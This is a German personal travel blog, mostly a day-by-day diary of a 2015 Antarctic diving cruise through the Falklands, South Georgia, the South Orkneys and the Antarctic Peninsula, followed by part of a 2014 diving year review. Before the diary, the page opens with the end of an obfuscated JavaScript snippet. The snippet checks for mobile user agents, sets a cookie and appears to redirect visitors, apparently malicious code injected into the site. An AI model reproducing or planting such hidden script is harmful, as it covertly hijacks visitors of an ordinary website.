wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Antarktis Tour 2015

    Mit dieser Reise habe ich mir einen grossen Traum erfüllt. Die Antarktis ist einzigartig, es gibt nichts Vergleichbares. Unsere Tour führte uns von Ushuaia auf die Falkland Inseln, danach nach Südgeorgien und weiter auf die Südorkney Inseln. Von dort ging es auf die antarktische Halbinsel. Nach einem Besuch der Südschettland Inseln ging es zurück nach Ushuaia.

    09.02.2015/10.02.2015

    Anreise von Zürich über Frankfurt nach Buenos Aires. In Buenos Aires hatten wir einen Tag und eine Nacht Aufenthalt. Das gab uns Zeit für eine Stadtrundfahrt und den Besuch einer wunderbaren Tango Show.

    11.02.2015/12.02.2015

    Weiterreise von Buenos Aires nach Ushuaia. 2 Tage und 2 Nächte blieben wir in der Stadt am Ende der Welt. Von hier aus starten die meisten Antarktis Touren. In diesen 2 Tagen hatten wir ausgiebig Gelegenheit Ushuaia zu erkunden. Außerdem besuchten wir einen Nationalpark und fuhren mit einem alten Sträflingszug durch die wunderschöne Landschaft Patagoniens.

    13.02.2015

    Über Nacht war die Plancius in den Hafen von Ushuaia eingelaufen. Den Vormittag nutzten wir für letzte Einkäufe, denn für die nächsten zwei ein halb Wochen würde es dafür keine Gelegenheit mehr geben. Um 16:00 war es soweit, wir gingen an Bord. Der Nachmittag verging wie im Flug. Nach dem Bezug der Kabinen wurden wir in der Observationlounge von der Crew begrüßt. Anschließend folgte eine allgemeine Rettungsübung, danach der Cocktailempfang mit dem Kapitän. Inzwischen hatte die Plancius abgelegt und fuhr durch den Beaglekanal Richtung Cap Horn.

    14.02.2015 Tag auf See Überfahrt zu den Falkland Inseln

    Wecken 7:30 Frühstück 8:00. Den ganzen Tag über gab es Vorträge über die Falkland Inseln. An Deck kamen die Vogelliebhaber ganz auf ihre Kosten.

    15.02.2015 Ankunft auf den Falkland Inseln

    Die Falklandinseln sind ein Archipel aus 2 Hauptinseln und ca. 200 Inseln im Südatlantik. Sie sind ein britisches Überseeterritorium und liegen auf etwa 50 Grad südlicher Breite vor der Ostküste Südamerikas. Die Inseln werden von Argentinien beansprucht und auf Spanisch Islas Malvinas genannt.(Wikitravel)

    Um nichts zu verpassen sind wir um 6:00 aufgestanden und an Deck gegangen. Bei unserer Ankunft auf den Falkland Inseln erwartete uns eine fantastische Stimmung. Wolken, Sonne und Nebelbänke wechselten sich ab. Im Wasser tummelten sich die ersten Pinguine. Für den Vormittag stand ein erster Tauchgang an einer Insel, Caracass Island, auf dem Programm. Das Wasser war widererwartend warm, 12 °C. Wir sahen Kelbwälder und viele Krebse. Der Tauchgang war nett, aber nicht spektakulär.

    Am Nachmittag machten wir einen Landgang auf Sounders Island. Auf der Fahrt von Caracass Island nach Sounders Island sahen wir die ersten Wale. Der Landgang war unbeschreiblich schön. Wir konnten unterschiedliche Arten von Pinguinen bewundern. Eine große Kolonie Eselspinguine, die quirlig umher sausten und sich von uns nicht stören ließen, fesselte uns so sehr, dass wir fast die Königspinguine übersehen hätten, die sich zwischen sie gemischt hatten. Nach und nach entdeckten wir auch Magelanpinguine, Haubenpinguine und weiter im Inselinneren eine große Kolonie Albatrosse mit Jungen.

    16.02.2015 Falkland Inseln Port Stanley

    Über Nacht sind wir nach Port Stanley gefahren. Den Begriff „Stadt“ kann man nur für die Hauptstadt Stanley anwenden, die etwa 2000 Menschen beherbergt, etwa vier Fünftel der gesamten Inselbevölkerung (Wikitravel)

    Die See war ziemlich unruhig. Auch am Vormittag war es trübe und sehr windig, nicht das beste Wetter für eine Besichtigungstour der Hauptstadt der Falkland Inseln.

    Am Nachmittag machten wir uns auf den Weg nach Südgeorgien. Auf offener See empfingen uns 6 – 7 m hohe Wellen und Windstärke 9. Im Schiff wurden Seile gespannt um den Gästen das Gehen zu erleichtern. Unserer Fahrt nach Südgeorgien wird ca zwei ein halb Tage dauern. Die Bedingungen sind rau aber lange nicht so schlimm wie befürchtet. Am Nachmittag gab es einige Vorträge über Südgeorgien.

    17.02.2015 Tag auf See

    Über Nacht hat sich der Wind gelegt. Das Meer ist immer noch aufgewühlt. Aber der Himmel ist wolkenlos und die Sonne strahlt. Wir sind den ganzen Tag auf See. Unsere Crew unterhält uns mit spannenden Vorträgen. Außerdem müssen alle ihre Kleidung, Schuhe und Rucksäcke gründlich reinigen. Das ist eine Vorsichtsmaßnahme, damit wir nicht irgendetwas artfremdes nach Südgeorgien einschleppen. Inzwischen dürfen wir auch wieder auf die Aussendecks und können die vielen verschiedenen Albatrossarten beobachten, die das Schiff umkreisen. Am Abend sichten wir die ersten Finnwale.

    Um 0:15 überqueren wir die antarktische Konvergenz.

    Die antarktische Konvergenz oder auch Meinardus-Linie ist jene Zone, in der kaltes, nordwärts fließendes Oberflächenwasser der Antarktis auf südwärts fließendes wärmeres Oberflächenwasser aus dem Norden (den subantarktischen Bereichen des Atlantiks, Pazifiks und des Indischen Ozeans) trifft. Sie verläuft etwa zwischen dem 45. Breitengrad im Bereich des Indischen Ozeans und dem 57. Breitengrad im Bereich der Drake Straße(durchschnittlich etwa auf dem 49. Breitengrad) und bildet die Nordgrenze des Südpolarmeeres.

    Da das Wasser aus der Antarktis kälter ist, besitzt es eine höhere Dichte als das aus dem Norden kommende wärmere Wasser. Deshalb sinkt es an der Konvergenzzone auf etwa 800 m Wassertiefe ab und fließt nordwärts.

    Die Lage der antarktischen Konvergenz hängt von Längengrad, Wetter und Jahreszeit ab und kann sich um etwa 150 km nördlich oder südlich verlagern, liegt aber im Allgemeinen bei etwa 50° südlicher Breite. Zu erkennen ist sie daran, dass die Temperatur des Oberflächenwassers, die nördlich von ihr bei etwa 8 °C liegt, abrupt auf unter 2 °C abfällt.

    Innerhalb dieser Zone liegen folgende küstenferne, verstreut liegende subantarktische Inseln und Inselgruppen, die eindeutig als polar anzusehen sind: Südgeorgien und die südlichen Sandwichinseln, Peter I. Insel, Bouvet Insel, Heard und McDonaldinseln, Macquarie Insel, Scott Insel und die Balleny Inseln. (Wikipedia)

    18.02.2015 Tag auf See und Shag Rock

    Wir nähern uns Südgeorgien. Nachdem wir in der Nacht die antarktische Konvergenz überquert haben sind auch die Außentemperaturen merklich gefallen. Alle auf der Plancius warten auf die ersten Eisberge. Am Vormittag gibt es wieder Vorträge und auch schon das Briefing für die Tauchgänge in Südgeorgien.

    Um 16:25 ist es soweit: Die ersten Eisberge kommen in Sicht. Es ist überwältigend!!

    Gegen Abend erreichen wir Shag Rock, eine Felsengruppierung auf offener See. Wir hatten auf Wale gehofft, leider waren keine da. Dafür gab es tausende von Vögeln ganz unterschiedlicher Art und Größe.

    Morgen werden wir in Südgeorgien landen. Leider wird uns in der Nacht wieder ein Sturmtief einholen. Tauchen wird morgen nicht möglich sein.

    19.02.2015 Ankunft in Südgeorgien

    Südgeorgien (englisch South Georgia) ist sowohl der Name einer einzelnen Inseln als auch die Bezeichnung der Inselgruppe, zu der diese gehört. Das Gebiet zählt politisch zum britischen Überseegebiet, Südgeorgien und die Südlichen Sandwichinseln wird, wie die Falkland Inseln, auch von Argentinien beansprucht.

    Das Inselgebiet liegt im Südatlantik etwa 1400 km östlich der Ostküste Südamerikas (Argentinien) bzw. der vorgelagerten Falklandinseln.

    Inseln und Inselgruppen

    Zum Inselgebiet Südgeorgien gehören folgende Inselgruppen und einzelne Inseln:

    • die Hauptinsel Südgeorgien
    • die Gruppe der Pickersgillinseln
    • die Gruppe der Welcomeinseln
    • die Gruppe der Willisinseln
    • Annenkov Island
    • Bird Island
    • Cooper Island
    • Grass Island
    • die Felsansammlungen Clerke Rocks und Shag Rocks (mit Black Rock)

    Die Hauptinsel Südgeorgien ist rund 160 Kilometer lang und bis zu 30 Kilometer breit. Sie umfasst eine Fläche von 3756 km², also über 96 % der gesamten Landfläche von Südgeorgien und den Südlichen Sandwichinseln (3903 km²). An der Ostküste der Insel befindet sich mit Grytviken der ehemalige Hauptort Südgeorgiens, welcher jedoch nicht mehr bewohnt wird. Zwei entsandte Regierungsbeamte mit Ehepartnern sind im nahegelegenen King Edward Point permanent stationiert. Im Sommer leben dort auch bis zu vier Museumsangestellte. Im Winter leben neun Forscher des British Antarctic Survey in King Edward Point, im Sommer sind es bis zu 18 Personen. Die permanente Anwesenheit von Mitarbeitern auf der Station dient auch dem politischen Zweck, den britischen Anspruch auf Souveränität über die Insel gegenüber Argentiniens Gebietsansprüchen zu untermauern.

    Die gebirgige, zerklüftete und zumeist von Eis bedeckte Landschaft macht den Großteil der Hauptinsel und der anderen zum Gebiet zählenden Inseln schlecht bewohnbar. Elf Berge Südgeorgiens sind über 2000 m hoch; als höchste Erhebung gilt der Mount Paget mit 2934 m. (Wikipedia)

    Bei schlechtem Wetter und hohe Wellen erreichen wir Südgeorgien. Ein Landgang oder ein Tauchgang sind nicht möglich. Wir ankern in einer ruhigen Bucht, Rositas Habour. Der Kapitän erlaubt eine Zodiac Tour in der Bucht. Schon vom Schiff aus hörten wir das laute Geheule der Seehundkinder. Auf unserer Tour konnten wir eine große Kolonie besuchen. Unter den 10 000den von fast schwarzen Seehunden befanden sich auch 3 goldene Seehundbabys.

    Nach dem Mittagessen fuhr das Schiff weiter in die Nähe der Insel Prion Islet. Leider konnten wir auch hier nicht an Land. Das Panorama war beeindruckend. Gletscher und grün bewachsene Felsen.

    Vom Schiff aus konnten wir auf der Insel verschiedene Pinguinkolonien erkennen. Über der Insel kreisten die Wanderalbertrosse, die hier ihre Nistplätze haben. Ums Schiff sprangen die Seehunde.

    Gegen 18:15 verließen wir Prion Islet Richtung Fortuna Bay.

    Auf der stürmischen Fahrt brach plötzlich die Wolkendecke auf und die Sonne legte ihre Strahlen wie ein gold-blaues Band über Berggipfel und Gletscher.

    20.02.2015 Fortuna Bay, Stromness Habour und Grytviken

    Wake up call 5:55. Wir lagen in der Fortuna Bay und alles war bereit für einen early morning Landgang.

    Was uns auf diesem Landgang erwartete war nicht von dieser Welt. Blauer Himmel, Sonne, eine traumhafte Landschaft und tausende von kleinen Seehunden und als ob das nicht reichen würde befanden wir uns plötzlich in einer Kolonie Königspinguine, bestehend aus mindestens einer halben Million Tieren. Diese Tiere sind faszinierend. In den Vorträgen, mit denen die Crew uns auf unsere Landgänge vorbereitet hat, wurden wir immer wieder gebeten einen Mindestabstand zu den Tieren zu halten. Allerdings hat man den Tieren dies wohl nicht gesagt. Die Pinguine näherten sich bis auf wenige cm und die Seehundbabys legten sich fast auf meine Füße. Dieser Landgang war viel zu schnell vorüber.

    Unser nächster Halt war vor einer alten Walfangstation in der Nähe von Stromness. Hier stand endlich wieder einmal ein Tauchgang auf dem Programm.

    Am Nachmittag besuchten wir das Grab von Ernest Shackleton in Grytviken. In Grytviken gibt es auch eine alte Walfangstation zu besichtigen. Die Station in Stromness darf nicht besucht werden.

    Am Abend gab es an Bord ein großes Barbequeau zu dem auch Gäste von der Insel eingeladen waren. Während des Abends nahm der Wind dramatisch zu so dass es für unsere Gäste unmöglich war zurück auf die Insel zu kommen. Sie mussten in der Observationlounge übernachten.

    21.02.2015 Südgeorgien, St. Andrews Bay und Moltke Harbour

    Wake up call um 5:30

    Landgang in St. Andrews Bay. Hier befindet sich eine der größten  Königspinguin Kolonien, es sind ca eine Million Tiere. Außerdem leben in dieser Bucht unzählige Seehunde und See-Elefanten. Die Bucht ist von gigantischen Gletschern  eingerahmt. Die Pinguine sind sehr zutraulich. Auch dieser Ausflug ging wieder viel zu schnell vorbei.

    Nach dem Frühstück fuhren wir in die Royal Bay. der 2. Landgang dieses Tages sollte in Moltke Harbour stattfinden.

    1882 wurde im Zuge des Internationalen Polarjahres eine deutsche Expedition unter Carl Schrader ausgesandt, um den Venustransit zu beobachten und ein Jahr lang regelmäßige Wetterbeobachtungen und Messungen des Erdmagnetfelds vorzunehmen. Diese Gruppe war bis 1883 an der Nordküste der Bucht stationiert. Ihr Lager wurde nach der S.M.S Moltke, dem Schiff des Expeditionsteams und gleichzeitig dem ersten motorisierten Schiff, das Südgeorgien erreichte, Moltke-Hafen genannt (Wikipedia)

    Leider wurde aus dem Landgang nichts, da der Wind ganz plötzlich wieder zu stark war. Dafür konnten wir vom Schiff aus ein grandioses Panorama genießen. Wie gemalt stand ein kompletter Regenbogen über einer Bergkette. Daneben lag ein großer Gletscher im Dunst. Ein kleines Stückchen weiter hatte man fast den Eindruck in einem Heidi Film gelandet zu sein, so schön präsentierte sich das Tal neben dem Gletscher. Weiter ging es mit einer sanften Hügellandschaft, die in einem Strand endete, der voller Pinguine, Seehunde und See-Elefanten war. Umrahmt wurde all dies von Türkis-blauem Wasser. Außerhalb der Bucht waren große Eisberge zu erkennen. Als endgültig klar war, dass die Bedingungen für einen Landgang zu schlecht waren, entschied der Kapitän, dass wir uns die Eisberge einmal näher anschauen sollten. Ein unglaubliches Erlebnis! Der Wind außerhalb der Bucht fegte um die Eis-Kolosse und wehte mich fast über Bord. Die Gischt der auf die Eisberge prallenden Wellen legte sich wie ein goldener Schleier über die Eismassen. Dazu strahlte Blauer Himmel und Sonne und wie bestellt wurden noch 3 Finnwale gesichtet.

    Den Abschluss dieses Nachmittags bildete wie immer der Recap von Kelvin und zwei kurze Vorträge von Ali und Fritz.

    Morgen Früh werden wir wieder um 5:30 geweckt. Ein neuer Landgang und Sonnenaufgang in Südgeorgien stehen auf dem Programm….

    22.02.2015 Südgeorgien, Coopers Bay und Drygalski Fjord

    Heute sind wir um 5:00 aufgestanden. Der Sonnenaufgang war leider nicht so schön wie erhofft, dafür gab es einen beeindruckenden Regenbogen über dem Gletscher. Einen Landgang gab es heute Morgen nicht. Der Wind ließ es nicht zu.

    Auf der Weiterfahrt trieb immer mehr Eis im Wasser. Einige Schollen wurden von Pinguinen bewohnt. Es war niedlich anzusehen, wie sie von der Scholle ins Wasser und zurück hüpften.

    Unser nächstes Ziel hieß Coopers Bay. Hier mussten wir uns zwischen einem Tauchgang und einem Landgang entscheiden. Ich entschied mich für den Tauchgang. Keine gute Entscheidung wie sich heraus stellen sollte. Mein Anzug lief voll und ein sehr unangenehmer Zeitgenosse war der Ansicht, dass das Boot in dem er saß sein Privateigentum wäre. Er ließ mich nicht aufs Boot.

    Anschließend machten wir eine kleine Zodiac Tour und konnten mit Seehunden und Pinguinen schnorcheln. Wir haben Makaroni Pinguine, Gentoo Pinguine, Chin Strap Pinguine und viele Seebären Junge gesehen.

    Zurück auf dem Schiff hatten wir Walsichtungen. Die Insel Cooper´s Island durften wir nicht betreten, weil dort Vogelgrippe herrschte. Als Abschluss unserer Südgeorgien Tour fuhr der Kapitän in den Drygalski Fjord.

    Am Ende des Fjords befinden sich zwei Gletscher, der Jenkins und der Risting Gletscher. Ein sehr beeindruckender Anblick, den wir ausgiebig genossen. Dann wurde es Zeit für die Weiterreise. Das nächste Ziel auf unserer Reise sollte Süd Orkney sein. Auf der Fahrt begegneten uns immer wieder große Eisberge. Der größte heute war 50 x 50 Kilometer!! Kelvin sagt das ist der größte Eisberg den es hier jemals gegeben hat.

    Die nächsten 2 Tage werden wir auf See sein.

    23.02.2015 Auf See

    Heute war ein ruhiger Tag. Wir mussten wieder unsere Ausrüstung reinigen und von allem artfremden befreien, um nichts nach Süd Orkney oder die Antarktische Halbinsel einzuschleppen, das es dort nicht gibt. Am Nachmittag gab es wieder Vorträge. Besonders interessant war heute der Vortrag über eine grosse Rattenvernichtungsaktion auf Südgeorgien. Die Ratten wurden durch Schiffe eingeschleppt. Sie haben auf den Inseln keine natürlichen Feinde. Inzwischen haben sie sich so stark vermehrt, dass sie die Existenz einiger Vogelarten bedrohen.  Die Ratten fressen die Eier und die Jungvögel. Durch eine sehr teure und aufwendige Vernichtungsaktion konnten sie in einigen Teilen Südgeorgiens schon fast vollständig ausgerottet werden. Nach dem Film über dieses Projekt gab es eine große Versteigerung zu Gunsten des Projektes.

    Ein Highlight des Tages war die Sichtung von Delfinen.

    24.02.2015 Süd Orkney Inseln, die argentinische Forschungsstation Orcadas

    Heute war ein fantastischer Tag!

    Gegen 8:00 kam Süd-Orkney in Sicht. Der Kapitän navigierte die Plancius durch das immer dichter werdende Packeis. Die Temperaturen, sowohl vom Wasser, als auch von der Luft waren nun deutlich gesunken (Luft -2°C, Wasser um die 0°C),der Wind blies mit 25-30 Knoten. Die Eisschollen und Eisberge begeisterten uns mit einer reichen Palette von Blautönen. Große Vogelschwärme kreisten ums Schiff. Pinguine sprangen durch das eiskalte Wasser. Ab und zu zogen Wale vorbei. Die schneebedeckte Berglandschaft, die zu Beginn noch von Nebel verhüllt war, erstrahlte plötzlich in der Morgensonne. Ein grandioser Empfang hier am Ende der Welt auf Süd-Orkney.

    Unser Kapitän steuerte die Plancius durch das Packeis in eine kleine Bucht. Schon von weitem konnten wir die roten und schwarzen Häuser der argentinischen Station Orsadas ausmachen. Kurz vor dem Ankern ließ der Kapitän 2x das Horn ertönen um uns anzumelden. Taucher und Landgänger machten sich bereit. Doch dann traf der Kapitän die Entscheidung, dass wir in der Bucht nicht bleiben konnten. Das Packeis war in Bewegung gekommen und drohte die Bucht dicht zu machen und damit die Plancius einzuschließen. Der Kapitän entschied einmal um die Insel herum zu fahren und den Landgang und damit den Besuch der Station von der anderen Seite der Insel zu versuchen. Die Fahrt zurück durch das Packeis war nicht einfach.

    Nach 2 Stunden hatten wir unser Ziel erreicht. Wir durften die argentinische Forschungsstation Orcadas besuchen. Es wird vermutet, dass die Insel seit ihrer Entdeckung keine 1000 Besucher hatte. Am Strand schlafen die Seehunde und in einer Ruine wohnen Pinguine, was für ein einsamer Fleck Erde. Wir besuchten ein Museum, den Friedhof und die Cafeteria mit integrierter Bar, Post und Souveniershop.

    Als es Zeit für die Rückkehr zur Plancius wurde stellten wir fest, dass unser Zodiac kaputt war. Mit einer halben Stunde Verspätung kehrten wir aufs Schiff zurück.

    Zurück an Bord legten wir ab Richtung Antarktische Halbinsel. Ca 36 Stunden wird die Fahrt dauern. Wir durchquerten ein Gebiet mit grandiosen Eisbergen, an denen wir uns nicht satt sehen konnten.

    25.02.2015 Tag auf See

    Eine schlimme Erkältung, mit der ich schon einige Tage kämpfte, ließ mich heute fast den ganzen Tag das Bett hüten. Ich hoffe Morgen ist es wieder besser, denn Morgen werden wir den 7. Kontinent, die Antarktis, betreten.

    Alles ist abhängig von den Wind und Eisbedingungen. Vielleicht werden wir morgen Adelie Pinguine sehen, das sind die einzigen Pinguine (außer den Kaiser Pinguinen), die wir auf unserer Reise noch nicht gesehen haben. Es besteht auch zum 1. Mal eine Chance auf Seeleoparden.

    Heute hatten wir viele Walsichtungen, vermutlich Finnwale. Genau konnten wir es nicht erkennen, sie waren zu weit weg vom Boot.

    Über den Tag gab es viele Vorträge und Kelvin konnte uns heute auch sagen, dass der riesige Eisberg, den wir vor einigen Tagen gesehen haben, einen Namen hat. Er heißt B17A. Nur die ganz großen Eisberge bekommen Namen.

    26.02.2015 Antarktische Halbinsel, Brown Bluff and Terorbuil Icecruise

    Heute bin ich um 6:00 aufgestanden und habe zwei Stunden an Deck verbracht und die fantastische Landschaft des antarktischen Festlandes bestaunt. Gigantische Eisberge, dunkles Wasser, weißes und hellblaues Eis, schneebedeckte Berge und dazwischen bizarre Felsformationen aus dunklem Lava, Seals auf Eisschollen einzigartig!!!! Aber sehr kalt!!!

    Am Vormittag sind wir an einem Eisberg getaucht. Nach dem Tauchgang fuhren wir direkt an Land. Dies war unsere einzige Möglichkeit den 7. Kontinent, das antarktisches Festland, zu betreten. Dies geschah in Brown Bluff.

    Nach Anfangsschwierigkeiten beim Tauchgang am Eisberg (ich brauchte mehr Blei) war es ein sehr schöner Tauchgang. Beim Auftauchen empfing uns raue See.

    Während des Tauchgangs war mir nicht kalt. Das änderte sich auf dem Schlauchboot. Alles fror sofort ein. Auch der Boden vom Schlauchboot war mit einer Eisschicht bedeckt. André, unser Guide, fuhr mit uns noch schnell an Land. In der Bucht, in der wir an Land gingen trafen wir auf einige Adelie Pinguine und Seehunde.

    Zurück auf dem Schiff legten wir ab und fuhren durch mächtig viel Eis in Richtung Süd-Schettlandinseln.

    Den halben Vormittag und den Nachmittag verbrachte ich meistens draußen, obwohl es jetzt richtig kalt war! Gefühlte -16°C. Alle Decks waren vereist -> sehr gefährlich!!!

    Wir sahen auf unserer Fahrt viel beeindruckendes Eis, häufig mit Bewohnern (Pinguine, Seals), auch Wale tauchten immer wieder auf. Ich sah meine ersten Orcas!!!!

    27.02.2015 South Schettland Inseln, Half Moon Island and Deception Island (Whalers bay)

    Über Nacht fuhren wir zu den Süd-Schettlandinseln. Gegen 6:00 Uhr früh erwartete uns ein umwerfendes Panorama. Fotoshop hätte es kitschiger nicht hinbekommen. Unser 1. Landgang war für 8:00 angesetzt. Halfmoon Island erwartete uns mit strahlend blauem Himmel, Schnee, Sonne, bizarren Felsen in diversen Farben und einer großen Kolonie Chinstrap Pinguine. Auch verschiedene Arten von Seehunden, zB Weddelsea Seals und Leopard Seals konnten wir beobachten. FANTASTISCH!!!! Die Seals waren ausgewachsene Tiere. Zu diesen Tieren sollte man einen Mindestabstand von 15m halten. Sie können recht angriffslustig sein. Bei den Kolonien mit den jungen Seehunden reicht ein Sicherheitsabstand von 5 m. Wir durften 3 Stunden an Land bleiben.

    Nachmittags gab es einen Landgang auf Deception Island. Eine spezielle Insel mit einer langen Geschichte. Sie diente als Walfangstation, Flugzeugtestbasis. Das besondere an dieser Insel ist, dass sie ein in der Mitte kollabierter Vulkan ist. Der Vulkan ist aktiv. Der entstandene Kratersee ist ein natürlicher Hafen. Auf der Insel herrscht eine düstere, mystische Stimmung. Es riecht nach Schwefel. Es gibt kaum Tiere und wenn, dann sind sie scheu. Überall liegen und stehen die Ruinen der Walfangstation. 1 – 2 cm unter der obersten Sandschicht wird es in der Erde warm. Das Wasser im Kratersee hat zweistellige Temperaturen. Es gab die Möglichkeit Schwimmen zu gehen. Nachdem wir den natürlichen Hafen verlassen hatten begegneten uns Buckelwale.

    28.02.2015 Süd -Schettland Inseln, Cierva Cove, Mikkelsen Harbour (Triniti Island)

    6:00 aufgestanden

    7:00 Frühstück

    8:00 Tauchen

    Wir durften heute noch einmal einen Eisberg tauchen. Unser Tauchgang war unglaublich. Schon als wir am Eisberg ankamen bemerkten wir einen Leopard Seal, sicher 3m lang. Die Sicht um den Eisberg war sehr milchig. Schon beim Abtauchen verlor ich meine Tauchpartner. Ich tauchte auf ca 4m ab und kniete mich auf ein Eisplateau. Ich brauchte nicht lange zu warten bis der Leopard Seal auftauchte. Er umkreiste mich einige Minuten. Dabei war er so schnell, dass ich ihm mit den Augen kaum folgen konnte. Ein beeindruckendes Schauspiel. Es tauchte auch während des restlichen Tauchgangs immer wieder auf. Irgendwann ließ ich mich an der Kante des Eisplateaus auf ca 8m herunter fallen. Die Eiswand fiel schräg nach innen. Sie hatte eine wellige Struktur. In den Rillen leuchtete das Eis tiefblau, es war beinahe so als würde der Eisberg von innen heraus fluoreszieren. Wunderschön!!!!

    Nach dem Auftauchen war der Leopard Seal wieder da. Erst spielte er mit uns im Wasser. Nachdem alle wieder in den Schlauchbooten waren blieben wir noch einige Minuten um ihn (oder sie) zu beobachten. Ein wunderbares Erlebnis!!

    Unser letzter Stopp und damit die letzte Chance auf einen Landgang oder Tauchgang hatten wir am Nachmittag in Mikkelsen Harbour. Der Landgang führte auf eine kleine Insel D´Hainaut Island. Vom Schiff aus sah man viele Gletscher und sehr viel Schnee. Auf der Insel gab es eine Kolonie Gentoo Pinguine, die noch viele Junge hatten.

    Der letzte Tauchgang war sicher der beste der ganzen Reise. Es gab viel zu entdecken, unter anderem einen Eisfisch. Das Highlight waren zwei Leopard Seals, die mit den Tauchern spielten.

    Als alle wieder an Bord waren begann die lange Rückfahrt nach Ushuaia durch die berüchtigte Drake Passage. Die Crew machte zur Feier des Tages hinter der Brücke für alle einen Lumumba (Kakao mit Rum)

    01.03.2015 Tag auf See

    Heute konnten wir ausschlafen. Langsam wurde es Zeit mit dem Packen anzufangen.

    Über den Tag gab es noch einige Vorträge. Am Nachmittag wurde ein Quiz veranstaltet. Wir mussten Fragen zu den Vorträgen, die während der Reise abgehalten wurden, beantworten. Unser Team gewann. Der Preis war eine Flasche Wein.

    02.03.2015 Tag auf See

    Das Schiff schaukelte ziemlich stark. Inzwischen war die Plancius zu einem richtigen Lazarett Schiff geworden. Es gab kaum jemanden der nicht hustete und schniefte. Selbst die Schiffsärztin lag flach.

    Am Nachmittag kam Land in Sicht, es war Cap Horn. Im Schatten von Cap Horn wurde auch das Meer ruhiger.

    Gegen Abend fuhren wir in den Beaglekanal. Hier gingen wir vor Anker und genossen den letzten Abend auf der Plancius. Es war ein wunderschöner Abend. Wir hatten einen tollen Sternenhimmel und die Delfine sprangen ums Schiff.

    Um 2:00 Uhr in der Nacht kam der Lotze an Bord und brachte uns zurück in den Hafen von Ushuaia

    03.03.2015.Abreisetag

    Ein letztes Frühstück auf dem Schiff, dann wurde es Zeit zu gehen.

    Das war das Ende der großen Antarktis Rundtour. Es war eine geniale Reise die schwer zu toppen sein wird.

     

    2018 werde ich in die Antarktis zurück kehren. Dann möchte ich die Kaiser Pinguine besuchen. Das ist die einzige Pinguin Art die wir auf dieser Reise nicht gesehen haben.

     

     

     

     

     

     

     

     

     

     

     

     

     

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  • Jahresrückblick 2014

    Auch 2014 war wieder ein ereignisreiches Jahr. Ich habe viele neue, grösstenteils wunderbare, Wracks erkunden können und mir mit technischen Tauchgängen im Baikalsee in Sibirien einen grossen Traum erfüllt. Schwerpunktmässig führten mich meine Reisen wieder nach Spanien. Gran Canaria, Laredo, Villajoyosa und Malaga standen in diesem Jahr auf dem Reiseplan. Jeder Aufenthalt in Spanien war etwas besonderes. Ich konnte fantastische Wracks betauchen, teilweise waren sie noch nie vorher betaucht worden. In Malaga hatte ich die Möglichkeit der Divertug Produktionsstätte einen Besuch abzustatten und bekam ein exklusives Scooter Training. Larodo ist mir inzwischen zu einem zweiten Zuhause geworden und die Tauchgänge an der España gehören nach wie vor zu meinen absoluten Highlights. Inzwischen verändert sich das Wrack sehr schnell. Immer mehr Bereiche kollabieren. Die Reise nach Sibirien im Juni 2014 war unbeschreiblich. Wunderbare Menschen, traumhafte Tauchgänge und eine faszinierende Landschaft hinterliessen tiefe Eindrücke und ich bin mir sicher, dass ich dem Baikalsee erneut einen Besuch abstatten werde. Das nächste Mal vielleicht im Winter. Die Jutland Expedition im August 2014 gehörte zu den grössten Herausforderungen in diesem Jahr. Die Cdt. Fourcault, unser Expeditionsschiff, hat mich sehr begeistert. Nicht nur dass wir eine Dekokammer und einen Helikopter an Bord hatten, auch der Kran, der uns nach dem Tauchgang wieder aufs Boot brachte war ein Novum für mich.  Die Fourcault hatte selbst bei 10 bis 15m hohen Wellen kein Problem.

    Drei Mal durfte ich in diesem Jahr Vorträge halten. In Athen, am Tunersee und in Stuttgart.

